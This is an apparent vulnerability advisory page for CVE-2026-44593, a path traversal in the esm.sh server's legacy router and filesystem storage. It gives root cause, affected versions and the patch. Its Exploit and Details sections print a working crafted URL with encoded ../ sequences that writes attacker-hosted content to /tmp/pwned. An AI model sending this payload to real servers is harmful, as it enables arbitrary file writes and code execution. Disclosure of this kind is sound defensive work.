8.7

CVSS Score

4.0

-

CVSS Score

Basic Information

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CVE-2026-44593

CVE-2026-44593: esm.sh: Legacy Route Path Traversal Can Lead to RCE

Impact

Arbitrary File Write – An attacker can cause the server to write data to any file path it has write permission for.
Privilege Escalation / RCE – By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges.

Exploit

The legacy router first retrieves a response from legacyServer, parses the incoming request path, and ultimately writes the data to storage via buildStorage.Put
(see https://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291).

For a URL such as:

http://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned

the router concatenates the path components without sanitizing them, producing a storage key like:

legacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned

When this key is used, the underlying file system resolves the relative segments and writes the file to /tmp/pwned. Thus an attacker can craft a request that writes data to arbitrary locations on the server.

Details

URL Construction
A crafted request is sent to the server:

http://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned

Proxy to Legacy Server
The request is forwarded to:

http://legacy.esm.sh/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../tmp/pwned

which resolves to:

http://legacy.esm.sh/gh/<attacker>/exp@1171e85d5d/foo.md

File Retrieval
The server fetches foo.md from the GitHub repository https://github.com/<attacker>/exp.
Path Normalisation & Storage
The storage path derived from the request is:
```
legacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned
```
Normalising this path yields /tmp/pwned. The retrieved file content is then written to that location.
Result
By repeating this pattern, an attacker can overwrite arbitrary binaries or scripts on the server, paving the way for remote code execution.

Credit Discovery To

splitline (@_splitline_) from DEVCORE Research Team

(GitHub Advisory)

Miggo Vulnerability Database

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CVE-2026-44593

CVE-2026-44593:

8.7

CVSS Score

4.0

-

CVSS Score

Basic Information

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Technical Details

Package Name	Ecosystem	Vulnerable Versions	First Patched Version
github.com/esm-dev/esm.sh	go	< 0.0.0-20260508100112-1960055e1d53	0.0.0-20260508100112-1960055e1d53

Technical Details

Vulnerability Intelligence
Miggo AI

Root Cause Analysis

The vulnerability is a classic path traversal issue located in the storage layer of the esm.sh server. The legacyRouter component constructs a storage key from the URL path without proper sanitization. This malicious key, containing ../ sequences, is then passed to the fsStorage methods.

The core of the vulnerability lies within the fsStorage methods in internal/storage/storage_fs.go. Functions like Put, Get, Stat, Delete, List, and DeleteAll were using filepath.Join to concatenate the storage root directory with the user-provided key. filepath.Join does not inherently prevent path traversal, so a crafted key could navigate outside the intended storage directory.

The most critical of these is fsStorage.Put, which allowed an attacker to write a file to an arbitrary location on the server's filesystem, leading to potential remote code execution by overwriting system files or application scripts.

The patch addresses this by introducing a new function, joinRootSafe, which validates the key using filepath.IsLocal before joining it with the root path. This ensures that the key does not contain any path traversal elements, effectively mitigating the vulnerability across all storage operations.

Vulnerable functions

fsStorage.Put

internal/storage/storage_fs.go

This function writes content to a file. Before the patch, it constructed the file path by joining the root directory with a user-provided key without proper sanitization. This allowed an attacker to use path traversal sequences (`../`) in the key to write files outside of the intended storage directory, leading to arbitrary file write and potential remote code execution.

fsStorage.Stat

Vulnerability Intelligence
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WAF Rule

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Reasoning

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